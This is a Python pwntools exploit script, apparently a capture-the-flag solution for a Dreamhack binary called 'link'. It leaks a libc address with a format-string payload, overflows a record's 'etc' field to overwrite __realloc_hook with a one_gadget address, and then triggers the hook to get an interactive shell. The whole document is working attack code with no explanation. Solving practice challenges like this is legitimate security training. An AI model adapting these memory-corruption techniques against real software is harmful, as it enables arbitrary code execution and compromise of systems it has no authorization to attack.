from pwn import *

p = process('./link')
#p = remote('host3.dreamhack.games', 22516)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

#context.log_level = 'debug'

libc_start_main_offset = libc.symbols['__libc_start_main']
__realloc_hook_offset = libc.symbols['__realloc_hook']

p.sendafter(': ', '%11$p')
libc_start_main = int(p.recv(14), 16)-231
lb = libc_start_main - libc_start_main_offset
one_gadget = p64(lb + 0xe54f7)
__realloc_hook = lb + __realloc_hook_offset
__realloc_hook_ini = __realloc_hook - 3486840
print(one_gadget)

def add_user(object_n, name, phone, etc):
    p.sendlineafter('menu: ', '1')
    p.sendlineafter('object number: ', object_n)
    p.sendafter('name: ', name)
    p.sendafter('phone number: ', phone)
    p.sendafter('etc: ', etc)

def edit_user(object_n, new_object_n, game, phone, etc):
    p.sendlineafter('menu: ', '4')
    p.sendlineafter('object number: ', object_n)
    p.sendlineafter('new object number: ', new_object_n)
    p.sendafter('new name: ', game)
    p.sendafter('new phone number: ', phone)
    p.sendafter('new etc: ', etc)

add_user('1','1','1','1')
add_user('2','1','1','1')

edit_user('1', '1', 'A'*0x10, 'A'*0x10, b'A'*0x100+p64(__realloc_hook))
edit_user(str(__realloc_hook_ini),'1', one_gadget,'A','A')

p.sendlineafter('menu: ', '1')

p.interactive()